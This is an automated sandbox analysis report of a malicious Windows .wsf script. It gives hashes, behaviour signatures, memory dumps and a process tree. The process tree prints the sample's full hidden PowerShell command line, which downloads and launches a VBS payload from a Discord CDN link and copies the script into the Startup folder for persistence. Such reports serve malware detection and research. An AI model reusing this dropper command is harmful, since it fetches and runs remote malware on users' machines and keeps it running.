Analysis

  • max time kernel
    133s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    06/10/2022, 17:04

General

  • Target

    1f9af4f8289740daa05ccfead19a29a9.wsf

  • Size

    53KB

  • MD5

    1f9af4f8289740daa05ccfead19a29a9

  • SHA1

    4c8703ecd5c150015f0e49243119ad26d672fe06

  • SHA256

    86f4317f0c4ae86c9a37a380a1bcd18a0bef3077a808b93110cd774697c66439

  • SHA512

    59acad54bf9274550bfa345b00bd7015bee7dec231fb562490aa2459383698a59b4d4658af575fea78300adaf0f580de04227c2a749f87f8daf37e63bf1ce124

  • SSDEEP

    192:L48w8Nlb0bqGW6CCCuqpSS48w8Nlb0bqGW6CCCuqpd48w8Nlb0bqGW6CCCuqpJ:dwSb0cJqUwSb0cJzwSb0cJR

Score
4/10

Malware Config

Signatures

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 18 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1f9af4f8289740daa05ccfead19a29a9.wsf"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://cdn.discordapp.com/attachments/1026576632913342517/1027267777003802644/008.vbs' -o C:\Windows\Temp\nLeNPdi.vbs;explorer.exe C:\Windows\Temp\nLeNPdi.vbs;Start-Sleep 3;[System.IO.File]::Copy('ایسش.wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ایسش.wsf');Start-Sleep 1;rm *.pif,*.uue
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1372
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe" C:\Windows\Temp\nLeNPdi.vbs
        3⤵
          PID:2028
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1588

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • memory/1100-54-0x000007FEFC1F1000-0x000007FEFC1F3000-memory.dmp

            Filesize

            8KB

          • memory/1372-57-0x000007FEF3E90000-0x000007FEF48B3000-memory.dmp

            Filesize

            10.1MB

          • memory/1372-58-0x000007FEF3330000-0x000007FEF3E8D000-memory.dmp

            Filesize

            11.4MB

          • memory/1372-63-0x0000000002564000-0x0000000002567000-memory.dmp

            Filesize

            12KB

          • memory/1372-64-0x000000000256B000-0x000000000258A000-memory.dmp

            Filesize

            124KB

          • memory/1372-65-0x0000000002564000-0x0000000002567000-memory.dmp

            Filesize

            12KB

          • memory/1372-66-0x000000000256B000-0x000000000258A000-memory.dmp

            Filesize

            124KB

          • memory/1588-62-0x0000000003740000-0x0000000003750000-memory.dmp

            Filesize

            64KB